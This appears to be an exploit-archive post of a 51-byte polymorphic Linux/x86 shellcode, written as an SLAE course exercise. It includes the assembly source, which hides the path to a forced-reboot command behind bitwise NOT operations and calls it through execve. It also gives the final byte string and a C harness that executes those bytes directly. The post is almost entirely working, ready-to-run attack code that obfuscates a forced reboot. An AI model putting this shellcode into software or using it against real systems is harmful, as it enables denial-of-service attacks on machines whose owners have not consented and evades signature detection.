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Linux/x86 - Force Reboot Shellcode (51 bytes)
[#---------------------- DESCRIPTION -------------------------------------#
; Title: [NOT encoded] Linux/x86 Force Reboot shellcode for Linux/x86 - Polymorphic
; Author: Daniel Ortiz
; Tested on: Linux 4.18.0-25-generic #26 Ubuntu
; Size: 51 bytes
; SLAE ID: PA-9844
#---------------------- ASM CODE ------------------------------------------#
SECTION .data
SYSCALL_EXECVE equ 11
SECTION .text
global _start
_start:
nop
or eax, 0xffffffff
not eax
push eax
mov eax, 0x8b90909d
not eax
push eax
mov eax, 0x9a8dd091
not eax
push eax
mov eax, 0x969d8cd0
not eax
push eax
xor eax, eax
mov ebx, esp
push eax
push word 0x662d
mov esi, esp
push eax
push esi
push ebx
mov ecx, esp
or al, SYSCALL_EXECVE
int 0x80
#------------------------- final shellcode ----------------------------------------#
unsigned char buf[] =
"\x90\x83\xc8\xff\xf7\xd0\x50\xb8\x9d\x90\x90\x8b\xf7\xd0\x50"
"\xb8\x91\xd0\x8d\x9a\xf7\xd0\x50\xb8\xd0\x8c\x9d\x96\xf7\xd0"
"\x50\x31\xc0\x89\xe3\x50\x66\x68\x2d\x66\x89\xe6\x50\x56\x53\x89\xe1\x0c\x0b\xcd\x80";
#------------------------- usage --------------------------------------------------#
include <stdio.h>
#include <string.h>
char *shellcode =
"\x90\x83\xc8\xff\xf7\xd0\x50\xb8\x9d\x90\x90\x8b\xf7\xd0\x50\xb8\x91\xd0\x8d\x9a\xf7\xd0\x50\xb8\xd0\x8c\x9d\x96\xf7\xd0\x50\x31\xc0\x89\xe3\x50\x66\x68\x2d\x66\x89\xe6\x50\x56\x53\x89\xe1\x0c\x0b\xcd\x80";
int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}
# 0day.today [2024-11-14] #